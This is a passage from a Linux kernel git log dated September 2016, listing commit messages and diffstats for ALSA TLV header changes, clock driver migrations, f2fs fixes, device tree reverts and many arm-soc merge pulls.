header for TLV packet. These macros have short names and they easily bring name conflist to applications. The conflict can be avoided to rename them with a proper prefix. For this purpose, this commit renames these macros with prefix 'SNDRV_CTL_TLVD_'. Signed-off-by: Takashi Sakamoto Signed-off-by: Takashi Iwai include/sound/tlv.h | 26 ++++++++++++++++ include/uapi/sound/tlv.h | 80 ++++++++++++++++++++++++++++-------------------- 2 files changed, 72 insertions(+), 34 deletions(-) commit 398fa4db6c694e1f655cad78478a9e3fb030cc01 Author: Takashi Sakamoto Date: Thu Sep 15 07:25:19 2016 +0900 ALSA: control: move layout of TLV payload to UAPI header In ALSA control interface, each element set can have threshold level information. This information is transferred between drivers/applications, in a shape of tlv packet. The layout of this packet is defined in 'uapi/sound/asound.h' (struct snd_ctl_tlv): struct snd_ctl_tlv { unsigned int numid; unsigned int length; unsigned int tlv[0]; }; Data in the payload (struct snd_ctl_tlv.tlv) is expected to be filled according to our own protocol. This protocol is described in 'include/sound/tlv.h'. A layout of the payload is expected as: struct snd_ctl_tlv.tlv[0]: one of SNDRV_CTL_TLVT_XXX struct snd_ctl_tlv.tlv[1]: Length of data struct snd_ctl_tlv.tlv[2...]: data Unfortunately, the macro is not exported to user land yet, thus applications cannot get to know the protocol. Additionally, ALSA control core has a feature called as 'user-defined' element set. This allows applications to add/remove arbitrary element sets with elements to control devices. Elements in the element set can be operated by the same way as the ones added by in-kernel implementation. For threshold level information of 'user-defined' element set, applications need to register the information to an element set. However, as described above, layout of the payload is closed in kernel land. This is quite inconvenient, too. This commit moves the protocol to UAPI header for TLV. Signed-off-by: Takashi Sakamoto Signed-off-by: Takashi Iwai include/sound/tlv.h | 61 ------------------------------------------------ include/uapi/sound/tlv.h | 60 +++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 60 insertions(+), 61 deletions(-) commit a39f44faa8c7d84dff7d1fc0bc851c6499f94d7b Merge: 8ccc7d6 c60b906 Author: James Morris Date: Thu Sep 15 14:43:46 2016 +1000 Merge branch 'smack-for-4.9' of http://github.com/cschaufler/smack-next into next commit f5644f10dcfbab90ffd27da1d8d51ffc13e1bc84 Author: Stephen Boyd Date: Wed Jun 1 14:31:22 2016 -0700 clk: at91: Migrate to clk_hw based registration and OF APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers in this driver, allowing us to move closer to a clear split of consumer and provider clk APIs. Signed-off-by: Stephen Boyd Acked-by: Alexandre Belloni Tested-by: Alexandre Belloni Acked-by: Boris Brezillon Signed-off-by: Stephen Boyd drivers/clk/at91/clk-generated.c | 30 +++++++------ drivers/clk/at91/clk-h32mx.c | 8 ++-- drivers/clk/at91/clk-main.c | 88 ++++++++++++++++++++++--------------- drivers/clk/at91/clk-master.c | 21 +++++---- drivers/clk/at91/clk-peripheral.c | 39 +++++++++------- drivers/clk/at91/clk-pll.c | 21 +++++---- drivers/clk/at91/clk-plldiv.c | 24 +++++----- drivers/clk/at91/clk-programmable.c | 22 ++++++---- drivers/clk/at91/clk-slow.c | 88 ++++++++++++++++++++++--------------- drivers/clk/at91/clk-smd.c | 22 ++++++---- drivers/clk/at91/clk-system.c | 22 ++++++---- drivers/clk/at91/clk-usb.c | 69 +++++++++++++++++------------ drivers/clk/at91/clk-utmi.c | 22 ++++++---- 13 files changed, 277 insertions(+), 199 deletions(-) commit b19f009d451060ee820deffa1afba029797fa654 Author: Stephen Boyd Date: Wed Jun 1 16:15:03 2016 -0700 clk: bcm2835: Migrate to clk_hw based registration and OF APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Eric Anholt Cc: Martin Sperl Signed-off-by: Stephen Boyd drivers/clk/bcm/clk-bcm2835-aux.c | 28 ++++++------- drivers/clk/bcm/clk-bcm2835.c | 85 +++++++++++++++++++++------------------ 2 files changed, 58 insertions(+), 55 deletions(-) commit f4e871509959b77debcac8f0dcbad85d6dbde06e Author: Jon Mason Date: Thu Oct 29 16:44:10 2015 -0400 clk: iproc: Make clocks visible options Make the clocks visible options that can be selected by anyone. This avoids the problems of: 1) Select is a reverse dependency and is hard for people to understand and can sometimes be a pain to track down 2) Build coverage goes down because configs are hidden 3) Code bloat Patch suggested by Stephen Boyd Signed-off-by: Jon Mason Signed-off-by: Stephen Boyd arch/arm/mach-bcm/Kconfig | 1 - drivers/clk/bcm/Kconfig | 30 +++++++++++++++++++++++++++++- drivers/clk/bcm/Makefile | 7 +++---- 3 files changed, 32 insertions(+), 6 deletions(-) commit 49ed09dd85e58a758557087a0abb330591e983cc Author: Tiezhu Yang Date: Wed Sep 14 03:00:02 2016 +0800 f2fs: remove dead code f2fs_check_acl The macro f2fs_check_acl is defined but never used since the initial commit, this patch removes the code that has been dead for several years. Signed-off-by: Tiezhu Yang Signed-off-by: Jaegeuk Kim fs/f2fs/acl.h | 1 - 1 file changed, 1 deletion(-) commit d95fd91c1ac1f551909ccdc4fcc80159521d0ef5 Author: Fan Li Date: Tue Sep 13 11:35:42 2016 +0800 f2fs: exclude special cases for f2fs_move_file_range When src and dst is the same file, and the latter part of source region overlaps with the former part of destination region, current implement will overwrite data which hasn't been moved yet and truncate data in overlapped region. This patch return -EINVAL when such cases occur and return 0 when source region and destination region is actually the same part of the same file. Signed-off-by: Fan li Signed-off-by: Jaegeuk Kim fs/f2fs/file.c | 7 +++++++ 1 file changed, 7 insertions(+) commit a2a2b8215621536a7620e31f36bede81bb86680b Merge: 3868b42 a8dc7cb Author: Tony Lindgren Date: Wed Sep 14 16:27:28 2016 -0700 Merge branch 'am335x-cpufreq-regression' into omap-for-v4.9/dt-v2 commit a8dc7cb3e310a7ca4d4e06fe020d1b24b7f7ee3c Author: Dave Gerlach Date: Wed Sep 14 16:26:53 2016 -0700 Revert "ARM: dts: dra7: Move to operating-points-v2 table" This reverts commit f80bc97fd0a9711ef11bdb3e63c2c01115a82c47. The original commit updated the cpufreq operating points tables for dra7xx but was merged before the driver making use of the node was merged, which breaks the existing cpufreq implementation on the system, so revert the patch until the ti-cpufreq driver is merged. Signed-off-by: Dave Gerlach Signed-off-by: Tony Lindgren arch/arm/boot/dts/dra7.dtsi | 26 +++++--------------------- arch/arm/boot/dts/dra74x.dtsi | 1 - 2 files changed, 5 insertions(+), 22 deletions(-) commit 0f416d1317dd4ef9d758ddc3e13cde23aa909c2d Author: Dave Gerlach Date: Wed Sep 14 16:26:53 2016 -0700 Revert "ARM: dts: am33xx: Move to operating-points-v2 table and ti-cpufreq driver" This reverts commit 4317be1162108bcdf50dc53dfb48eac94dcff25c. The original commit updated the cpufreq operating points tables for am33xx but was merged before the driver making use of the node was merged, which breaks the existing cpufreq implementation on the system, so revert the patch until the ti-cpufreq driver is merged. Signed-off-by: Dave Gerlach Signed-off-by: Tony Lindgren arch/arm/boot/dts/am33xx.dtsi | 88 +++++++------------------------------------ 1 file changed, 13 insertions(+), 75 deletions(-) commit e3659351da0976f47b2fa1c225ddaf411b9dbb51 Author: Dave Gerlach Date: Wed Sep 14 16:26:53 2016 -0700 Revert "ARM: dts: am335x-boneblack: Enable 1GHz OPP for cpu" This reverts commit c36e6ec904876de1935b1d74d2d711e6f5ceb572. The original commit updated the cpufreq operating points tables for am335x-boneblack but was merged before the driver making use of the node was merged, which breaks the existing cpufreq implementation on the system, so revert the patch until the ti-cpufreq driver is merged. Signed-off-by: Dave Gerlach Signed-off-by: Tony Lindgren arch/arm/boot/dts/am335x-boneblack.dts | 11 ----------- 1 file changed, 11 deletions(-) commit aaf1edc2bab1dba2a57695a3122ddb28f6cbaa59 Merge: 327c2c1 7260ecd Author: Arnd Bergmann Date: Thu Sep 15 00:44:55 2016 +0200 Merge tag 'arm-soc/for-4.9/devicetree' of http://github.com/Broadcom/stblinux into next/dt Pull "Broadcom devicetree changes for 4.9" from Florian Fainelli: This pull request contains Broadcom ARM-based Device Tree changes for v4.9, please pull the following: - Jon adds support for the Ethernet MAC DT nodes (AMAC) and provides the following updates for Broadcom references boards: * New Northstar Plus reference boards added: BCM958525er, BCM958522er, BCM988312hr, BCM958623hr and BCM958622hr * Add SATA nodes to the BCM958625hr and XMC boards * Add I2C nodes to the XMC board * Fixes the amount of RAM on BCM958625HR, BCM958625K and BCM958525XMC boards * Add the GPIO reboot method for BCM958625hr and XMC boards - Dhanajay adds PWM nodes for the Northstar Plus SoCs - Rafal adds the USB 2.0 PHY to the BCM5301x Device Tree file include - Stefan adds a missing USB clock to the BCM283x DT files, adds a DTSI file for the USB host mode on BCM283x and finally documents and adds support for the Raspberry Pi Zero - Florian adds support for the Northstar Plus Switch Register Access block which enables the integrated switch on these SoCs and enables the switch ports on the BCM958625HR reference board * tag 'arm-soc/for-4.9/devicetree' of http://github.com/Broadcom/stblinux: (22 commits) ARM: dts: bcm2835: Add Raspberry Pi Zero DT: bindings: bcm: Add Raspberry Pi Zero ARM: dts: bcm283x: Add dtsi for USB host mode ARM: dts: bcm283x: Add missing USB clock ARM: dts: NSP: Add new DT file for bcm958622hr ARM: dts: NSP: Add new DT file for bcm958623hr ARM: dts: NSP: Add new DT file for bcm988312hr ARM: dts: NSP: Add new DT file for bcm958522er ARM: dts: NSP: Add new DT file for bcm958525er ARM: dts: NSP: Add GPIO reboot method to bcm958625xmc DTS file ARM: dts: NSP: Add GPIO reboot method to bcm958625hr DTS file ARM: dts: NSP: Specify RAM amount for BCM958525XMC board ARM: dts: NSP: Specify RAM amount for BCM958625K board ARM: dts: NSP: Enable SATA and add i2c devices on XMC ARM: dts: NSP: Enable SATA on bcm958625hr ARM: dts: NSP: Correct RAM amount for BCM958625HR board ARM: dts: NSP: Add PWM Support to DT ARM: BCM5301X: Specify PHY of USB 2.0 in DT ARM: dts: NSP: Add BCM958625HR switch ports ARM: dts: NSP: Add Switch Register Access Block node ... commit dc8c76dd821329bb739a30d3e506e47c96f82f5a Merge: 45624a6 d229d20 Author: Arnd Bergmann Date: Thu Sep 15 00:43:43 2016 +0200 Merge tag 'sunxi-config64-for-4.9' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux into next/arm64 Pull "Allwinner ARM64 Kconfig changes" from Maxime Ripard: Select the pinctrl driver in kconfig * tag 'sunxi-config64-for-4.9' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux: arm64: sunxi: Kconfig: add essential pinctrl driver commit 4a5c99462ab5cdc111007625b76e349076f18a29 Merge: be46f95 c1efda1 Author: Arnd Bergmann Date: Thu Sep 15 00:42:02 2016 +0200 Merge tag 'sunxi-core-for-4.9' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux into next/soc Pull "Allwinner core changes for 4.9" from Maxime Ripard: Add support for big endian on the Allwinner A20, and the Nextthing GR8 SoC * tag 'sunxi-core-for-4.9' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux: ARM: sunxi: Support the Nextthing GR8 ARM: sunxi: enable big-endian commit bdfb3af1b3a22bf2eaf98f0965ce797f0ae8b5ce Merge: 8cfc48b a9ccc123 Author: Arnd Bergmann Date: Thu Sep 15 00:41:12 2016 +0200 Merge tag 'tegra-for-4.9-soc' of git://git.kernel.org/pub/scm/linux/kernel/git/tegra/linux into next/drivers Pull "soc/tegra: Changes for v4.9-rc1" from Thierry Reding: This contains a single patch to fix an issue with setting the deep power down mode of I/O rails. * tag 'tegra-for-4.9-soc' of git://git.kernel.org/pub/scm/linux/kernel/git/tegra/linux: soc/tegra: pmc: Fix incorrect DPD request commit 8cfc48bcc71edfe322b08f8506fb20b0ebbeb571 Merge: fceec41 3a99cb0 Author: Arnd Bergmann Date: Thu Sep 15 00:39:02 2016 +0200 Merge tag 'tegra-for-4.9-bus' of git://git.kernel.org/pub/scm/linux/kernel/git/tegra/linux into next/drivers Pull "bus: NVIDIA Tegra ACONNECT changes for v4.9-rc1" from Thierry Reding: This contains a patch that makes use of some symbols that were added in v4.8 and a second patch takes advantage to enable building the driver as a loadable module. * tag 'tegra-for-4.9-bus' of git://git.kernel.org/pub/scm/linux/kernel/git/tegra/linux: bus: tegra-aconnect: Use of_pm_clk_add_clk() bus: tegra-aconnect: Make symbol tristate commit be46f95b54e00922a506d9b3ecf588cc8255d310 Merge: f6b2dae 9ba63e3 Author: Arnd Bergmann Date: Thu Sep 15 00:28:52 2016 +0200 Merge tag 'pxa-for-4.9' of https://github.com/rjarzmik/linux into next/soc Pull "This is the pxa changes for v4.9 cycle" from Robert Jarzmik: This cycle is covering : - the removal of the legacy DMA API This is the major contributor to the negative diffstat, as dmaengine have taken over in this area. - IDE subsystem defconfig fixes - preparation for pxa25x to be device-tree compliant - various irq related fixes * tag 'pxa-for-4.9' of https://github.com/rjarzmik/linux: ARM: pxa: pxa_cplds: fix interrupt handling ARM: pxa: remove irq init from dt machines ARM: pxa: Use kmalloc_array() in pxa_pm_init() ARM: pxa: magician: Remove duplicated I2C pins declaration ARM: pxa: fix GPIO double shifts arm: trizeps4_defconfig: disable IDE subsystem arm: pxa255-idp_defconfig: disable IDE subsystem arm: lpda270_defconfig: disable IDE subsystem arm: colibri_pxa270_defconfig: disable IDE subsystem ARM: pxa: add pxa25x device-tree support ARM: pxa: prepare pxa25x interrupts for device-tree platforms ARM: pxa: remove platform dma code ARM: pxa: remove devicetree boards from pxa_defconfig commit f6b2dae76e0e138f8b4b6c375f10d2f8272982be Merge: ea58e97 82acc69 Author: Arnd Bergmann Date: Thu Sep 15 00:27:27 2016 +0200 Merge tag 'renesas-soc-for-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/horms/renesas into next/soc Pull "Renesas ARM Based SoC Updates for v4.9" from Simon Horman: Clean-up: * Only use smp_init when SMP is selected Enablement: * Add debug-ll support for r8a7992 * tag 'renesas-soc-for-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/horms/renesas: ARM: shmobile: r8a7791: only use smp_init when SMP is selected ARM: shmobile: r8a7790: only use smp_init when SMP is selected ARM: debug-ll: Add support for r8a7992 commit ea58e97d66d624c037cef5bc2889a0b7a10c6a96 Merge: 2c8cebd 4ebd504 Author: Arnd Bergmann Date: Thu Sep 15 00:22:55 2016 +0200 Merge tag 'arm-soc/for-4.9/soc' of http://github.com/Broadcom/stblinux into next/soc Pull "Broadcom soc changes for 4.9" from Florian Fainelli: This pull request contains Broadcom ARM-based SoC changes for 4.9, please pull the following: - Rafal adds preliminary support for the new BCM53573 Wi-Fi SoC based on a single core Cortex A7 and re-using a bunch of iProc peripherals - Florian adds support for earlyprintk on Broadcom STB/CM ARM-based chips by reading the chip family_id value from a known location and deriving the UART based address * tag 'arm-soc/for-4.9/soc' of http://github.com/Broadcom/stblinux: ARM: BCM53573: Initial support for Broadcom BCM53573 SoCs ARM: brcmstb: Add earlyprintk support using run-time checks commit 2c8cebd26266d5a7f44b7afbdb85e71b474358ee Merge: a2fccde 80483c3 Author: Arnd Bergmann Date: Thu Sep 15 00:22:16 2016 +0200 Merge tag 'qcom-soc-for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/agross/linux into next/soc Pull "Qualcomm ARM Based SoC Updates for v4.9" from Andy Gross: * Remove unnecessary QCOM board file * tag 'qcom-soc-for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/agross/linux: ARM: qcom: Cleanup/Remove unnecessary board file commit fceec41b68143e895f748e72bd07c5e2d45ab185 Merge: e747ea1 23c282d Author: Arnd Bergmann Date: Thu Sep 15 00:18:56 2016 +0200 Merge tag 'qcom-drivers-for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/agross/linux into next/drivers Pull "Qualcomm ARM Based Driver Updates for v4.9" from Andy Gross: * Silence smem probe defer messages * Make scm explicitly non-modular * Assorted SMD bug fixes and minor changes * Add PM8018 RTC support * tag 'qcom-drivers-for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/agross/linux: rtc: rtc-pm8xxx: Add support for pm8018 rtc soc: qcom: smd: Reset rx tail rather than tx soc: qcom: smd: Represent smd edges as devices soc: qcom: smd: Request irqs after parsing properties soc: qcom: smd: Simplify multi channel handling soc: qcom: smd: Correct compile stub prototypes firmware: qcom_scm: make it explicitly non-modular soc: qcom: smem: Silence probe defer error commit e747ea14de075172212823cbcb4a07a8ccd55c35 Merge: 1321665 7922118 Author: Arnd Bergmann Date: Thu Sep 15 00:17:39 2016 +0200 Merge tag 'at91-ab-4.9-drivers' of git://git.kernel.org/pub/scm/linux/kernel/git/abelloni/linux into next/drivers Pull "at91 drivers for 4.9" from Alexandre Belloni: - Coccinelle fixes for atmel-ebi and atmel-sdramc * tag 'at91-ab-4.9-drivers' of git://git.kernel.org/pub/scm/linux/kernel/git/abelloni/linux: memory: atmel-sdramc: fix a possible NULL dereference memory: atmel-ebi: use PTR_ERR_OR_ZERO() to simplify the code commit 132166589c670cd9f9a8ac7b3676f72fff35d81b Merge: f5895b5 6f27ab3 Author: Arnd Bergmann Date: Thu Sep 15 00:13:48 2016 +0200 Merge tag 'v4.9-rockchip-drivers1' of git://git.kernel.org/pub/scm/linux/kernel/git/mmind/linux-rockchip into next/drivers Pull "Rockchip driver changes for 4.9" from Heiko Stübner: This enables the active-wakeup functionality of the generic power-domains for the rockchip power-domain driver, so that some domains can stay active during suspend. * tag 'v4.9-rockchip-drivers1' of git://git.kernel.org/pub/scm/linux/kernel/git/mmind/linux-rockchip: soc: rockchip: support active_wakeup for rockchip power-domains commit f5895b53d41499434160865f405f8ddfa1810380 Merge: 9064a1c ad855ea Author: Arnd Bergmann Date: Thu Sep 15 00:12:30 2016 +0200 Merge tag 'amlogic-drivers' of git://git.kernel.org/pub/scm/linux/kernel/git/khilman/linux-amlogic into next/drivers Pull "Amlogic drivers for v4.9" from Kevin Hilman: - add secure monitor and eFuse driver - add IR remote driver * tag 'amlogic-drivers' of git://git.kernel.org/pub/scm/linux/kernel/git/khilman/linux-amlogic: nvmem: amlogic: Add Amlogic Meson EFUSE driver firmware: Amlogic: Add secure monitor driver media: rc: meson-ir: Add support for newer versions of the IR decoder commit 45624a6eb15d031363715baf51ace8a67e631ca0 Merge: c975bd7 37eb56d Author: Arnd Bergmann Date: Thu Sep 15 00:10:22 2016 +0200 Merge tag 'arm-soc/for-4.9/soc-arm64' of http://github.com/Broadcom/stblinux into next/arm64 Pull "Broadcom soc-arm64 changes for 4.9" from Florian Fainelli: This pull request contains Broadcom ARM64-based SoC changes for 4.9, please pull the following: - collective effort from Florian, Doug and Markus to add the ARCH_BRCMSTB Kconfig symbol to the ARM64 kernel build, which is purposedly the same as the ARM/Linux one in order not to update any driver dependencies * tag 'arm-soc/for-4.9/soc-arm64' of http://github.com/Broadcom/stblinux: arm64: Add Broadcom Set Top Box Kconfig entry point commit c975bd7ef5c0a03c1af4373f5506773519d45a96 Merge: 57e109c 6c04d2f Author: Arnd Bergmann Date: Thu Sep 15 00:08:55 2016 +0200 Merge tag 'renesas-arm64-defconfig-for-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/horms/renesas into next/arm64 Pull "Renesas ARM64 Based SoC Defconfig Updates for v4.9" from Simon Horman: * Enable HSUSB and SDHI * tag 'renesas-arm64-defconfig-for-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/horms/renesas: arm64: defconfig: Enable SDHI and GPIO_REGULATOR arm64: defconfig: Add Renesas R-Car HSUSB driver support as module commit 57e109cb971046a219a56cf5a6115f1d56dc8b0f Author: Leo Yan Date: Thu Sep 1 12:51:09 2016 +0800 arm64: defconfig: enable common modules for power management Enable common modules for power management; one is to enable CPUFREQ_DT driver; the driver is used by many platforms by passing OPP table from device tree. Also enables thermal related drivers. Firstly we need enable configuration CPU_THERMAL for CPU cooling device driver, this will bind thermal zone with CPU cooling device; and enable 'power allocator' thermal governor. Signed-off-by: Leo Yan Signed-off-by: Arnd Bergmann arch/arm64/configs/defconfig | 3 +++ 1 file changed, 3 insertions(+) commit dafa5d395244c218f3a3732a113a98ae716eaa2f Merge: 23d4635ec cfa1c7c Author: Arnd Bergmann Date: Thu Sep 15 00:05:59 2016 +0200 Merge tag 'mvebu-defconfig64-4.9-1' of git://git.infradead.org/linux-mvebu into next/arm64 Pull "mvebu defconfig64 for 4.9 (part 1)" from Gregory CLEMENT: - add PCIe driver for Aardvark for Armada 3700 - enable xhci-platform for A7K/A8K * tag 'mvebu-defconfig64-4.9-1' of git://git.infradead.org/linux-mvebu: arm64: configs: enable PCIe driver for Aardvark arm64: defconfig: enable xhci-platform commit 23d4635ec9fa729921a7295cc0649d42d28d1096 Merge: 699189c d11a544 Author: Arnd Bergmann Date: Thu Sep 15 00:04:53 2016 +0200 Merge tag 'qcom-arm64-defconfig-for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/agross/linux into next/arm64 Pull "Qualcomm ARM64 Based defconfig Updates for v4.9" from Andy Gross: * Enable defconfig options for QDF2432 * tag 'qcom-arm64-defconfig-for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/agross/linux: arm64: defconfig: Enable QDF2432 config options commit 699189c848fe33eb3bdd5cc603f7c3a5d141907f Author: Kevin Hilman Date: Wed Sep 14 10:21:45 2016 -0700 arm64: defconfig: enable meson I2C Signed-off-by: Kevin Hilman Signed-off-by: Arnd Bergmann arch/arm64/configs/defconfig | 1 + 1 file changed, 1 insertion(+) commit 5a9a9cf0a188b378fba46b6abc829098fa30915b Author: Kevin Hilman Date: Mon Sep 12 12:43:26 2016 -0700 arm64: defconfig: enable meson SPI as module Signed-off-by: Kevin Hilman Signed-off-by: Arnd Bergmann arch/arm64/configs/defconfig | 1 + 1 file changed, 1 insertion(+) commit 19b986919214da6384645e56058fab1a86ec7f3c Author: Kevin Hilman Date: Fri Sep 2 17:13:01 2016 -0700 arm64: defconfig: enable meson WDT as modules Signed-off-by: Kevin Hilman Signed-off-by: Arnd Bergmann arch/arm64/configs/defconfig | 2 ++ 1 file changed, 2 insertions(+) commit 5012a09b9bb59d411853949493030b2f47298f17 Author: Kevin Hilman Date: Fri Sep 2 17:13:00 2016 -0700 arm64: defconfig: enable HW random as module drivers/char/hw_random/Kconfig has 'default m', so simply removing this entry from the defconfig will enable building HW random drivers as modules. Signed-off-by: Kevin Hilman Signed-off-by: Arnd Bergmann arch/arm64/configs/defconfig | 1 - 1 file changed, 1 deletion(-) commit a458ae7321722aa431fbf929a634554ece2d758c Merge: 3eab887 21adc4d Author: Arnd Bergmann Date: Thu Sep 15 00:02:16 2016 +0200 Merge tag 'hisi-defconfig-for-4.9' of git://github.com/hisilicon/linux-hisi into next/arm64 Pull "ARM64: hisilicon: defconfig updates for 4.9" from Wei Xu: - Enable hisilicon SAS and XGE for hip05 and hip06 - Enable drm, powerkey, bluetooth and adv7511/adv7533 for hikey - Add PINCTRL to HISI platform * tag 'hisi-defconfig-for-4.9' of git://github.com/hisilicon/linux-hisi: Kconfig: ARCH_HISI: Add PINCTRL to HISI platform arm64: defconfig: enable bluetooth supports as modules arm64: defconfig: enable CONFIG_INPUT_HISI_POWERKEY for HiKey arm64: defconfig: Enable HiSilicon kirin drm, adv7533 for HiKey arm64: defconfig: Enable Hisi SAS and HNS commit b284ce537434f69d8d765f86867fab37c1cf54da Merge: 3197f7d b2ab6f6 Author: Arnd Bergmann Date: Wed Sep 14 23:59:33 2016 +0200 Merge tag 'imx-defconfig-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux into next/defconfig Merge "i.MX defconfig updates for 4.9" from Shawn Guo: - Enable i.MX6 SATA and cpufreq driver support in multi_v7_defconfig. - Enable MPL3115, Etnaviv GPU, WM8960 Codec driver and more USB functions support in imx_v6_v7_defconfig. * tag 'imx-defconfig-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/shawnguo/linux: ARM: imx_v6_v7_defconfig: Select the wm8960 codec driver ARM: imx_v6_v7_defconfig: Add CONFIG_MPL3115 ARM: imx_v6_v7_defconfig: Enable GPU support ARM: imx_v6_v7_defconfig: enable more USB configurations ARM: multi_v7_defconfig: Enable ARM_IMX6Q_CPUFREQ ARM: multi_v7_defconfig: Enable AHCI_IMX commit 3197f7dc2350fc034d9790b753f20c7908bf9adc Merge: 35e53e3 1ab9a7d Author: Arnd Bergmann Date: Wed Sep 14 23:57:23 2016 +0200 Merge tag 'mvebu-defconfig-4.9-1' of git://git.infradead.org/linux-mvebu into next/defconfig Pull "mvebu defconfig for 4.9 (part 1)" from Gregory CLEMENT: - update dsa config with new symbol - add flash related config for mvebu v7 * tag 'mvebu-defconfig-4.9-1' of git://git.infradead.org/linux-mvebu: ARM: mvebu_v5_defconfig: use MV88E6XXX ARM: mvebu: enable UBI and UBIFS in mvebu_v7_defconfig ARM: mvebu: enable MTD command line partition table in mvebu_v7_defconfig commit 35e53e33deb209a7ac83f1cfad22e60bccb66031 Merge: d268d2d 81b1f69 Author: Arnd Bergmann Date: Wed Sep 14 23:56:11 2016 +0200 Merge tag 'keystone_config_for_4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/ssantosh/linux-keystone into next/defconfig Pull "ARM: config: Add CONFIG_NOP_USB_XCEIV" from Santosh Shilimkar: Keystone usb phy needs CONFIG_NOP_USB_XCEIV to be enabled. * tag 'keystone_config_for_4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/ssantosh/linux-keystone: ARM: keystone: defconfig: Fix USB configuration commit b58ddf17470aeaaed2dde0de7cbfdc88065f1d88 Author: Niklas Cassel Date: Fri Sep 9 09:45:30 2016 +0200 PCI: artpec6: Drop __init from artpec6_add_pcie_port() artpec6_add_pcie_port() is called from artpec6_pcie_probe(), which is not marked __init. It is wrong to call an __init function from a non-__init one, so remove __init from artpec6_add_pcie_port(). [bhelgaas: changelog] Signed-off-by: Niklas Cassel Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-artpec6.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f7bc63802d53139f7e6b62b222f2b26dca3f5e89 Author: Sergei Shtylyov Date: Fri Sep 9 01:26:18 2016 +0300 PCI: rcar: Fix some checkpatch warnings The R-Car PCIe driver causes 13 warnings from scripts/checkpatch.pl -- let's fix at least 10 easier ones: - line over 80 characters; - blank line missing after declarations; - statements not starting on a tabstop. Signed-off-by: Sergei Shtylyov Signed-off-by: Bjorn Helgaas Acked-by: Simon Horman drivers/pci/host/pcie-rcar.c | 29 +++++++++++++++++++---------- 1 file changed, 19 insertions(+), 10 deletions(-) commit e3123c20c8075f1771947e10cb7e9681166f2e89 Author: Grigory Kletsko Date: Thu Sep 8 22:32:59 2016 +0300 PCI: rcar: Add multi-MSI support Implement the MSI .setup_irqs() method which enables allocation of several MSIs at once. [Sergei Shtylyov: removed unrelated/unneeded changes, fixed too long lines, reordered the variable declarations, reworded the summary/description.] Signed-off-by: Grigory Kletsko Signed-off-by: Sergei Shtylyov Signed-off-by: Bjorn Helgaas Acked-by: Simon Horman drivers/pci/host/pcie-rcar.c | 72 ++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 70 insertions(+), 2 deletions(-) commit 290128ac139310e6d1fe47c023978907f2324f14 Author: Stephen Rothwell Date: Wed Sep 14 14:22:25 2016 +1000 partial revert of "PM / devfreq: Add COMPILE_TEST for build coverage" This reverts the Tegra part of commit 797da5598f3a (PM / devfreq: Add COMPILE_TEST for build coverage) that introduced a build failute in in linux-next. [ rjw: Changelog ] Signed-off-by: Stephen Rothwell Signed-off-by: Rafael J. Wysocki drivers/devfreq/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1a85b50bef13b44016c206272785a746adae7833 Author: Hoan Tran Date: Mon Sep 12 11:23:24 2016 -0700 clk: xgene: Add PMD clock Add X-Gene PMD clock support. PMD clock is implemented for a single register field. Output rate = parent_rate * (denominator - scale) / denominator with - denominator = bitmask of register field + 1 - scale = values of register field For example, for bitmask is 0x7, denominator will be 8 and scale will be computed and programmed accordingly. Signed-off-by: Hoan Tran Signed-off-by: Stephen Boyd drivers/clk/clk-xgene.c | 221 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 221 insertions(+) commit 405f27be6182362e343c25ae6ec2b2933919ef30 Author: Hoan Tran Date: Mon Sep 12 11:23:23 2016 -0700 Documentation: dt: xgene: Add PMD clock binding Add APM X-Gene clock binding documentation for PMD clock. Signed-off-by: Hoan Tran Acked-by: Rob Herring Signed-off-by: Stephen Boyd Documentation/devicetree/bindings/clock/xgene.txt | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit a30d960b3095ea598fe23a4e0089433d50c43e9a Merge: ca02332 f31a343 Author: Stephen Boyd Date: Wed Sep 14 13:52:55 2016 -0700 Merge branch 'clk-zte' into clk-next * clk-zte: clk: zx: register ZX296718 clocks clk: zx: reform pll config info to ease code extension commit f31a3433ab5bae61f7626f45536a3e2b7a8f5a45 Author: Jun Nie Date: Tue Sep 6 14:02:42 2016 +0800 clk: zx: register ZX296718 clocks The ZX296718 clocks are statically listed and registered. More clock will be added later. Signed-off-by: Jun Nie Signed-off-by: Stephen Boyd .../devicetree/bindings/clock/zx296718-clk.txt | 35 + drivers/clk/zte/Makefile | 1 + drivers/clk/zte/clk-zx296718.c | 924 +++++++++++++++++++++ drivers/clk/zte/clk.h | 125 +++ include/dt-bindings/clock/zx296718-clock.h | 163 ++++ 5 files changed, 1248 insertions(+) commit e9f262314ebf2cbe466afe74338e8d6c4c9b8897 Author: Jun Nie Date: Tue Sep 6 14:02:41 2016 +0800 clk: zx: reform pll config info to ease code extension Add power down bit and pll lock bit in pll config structure to ease new SoC support. Signed-off-by: Jun Nie Signed-off-by: Stephen Boyd drivers/clk/zte/clk.c | 21 ++++++++++++--------- drivers/clk/zte/clk.h | 4 ++++ 2 files changed, 16 insertions(+), 9 deletions(-) commit ca0233285a93222b2b0c7384b9345711b3d68b5c Author: Jun Nie Date: Tue Sep 6 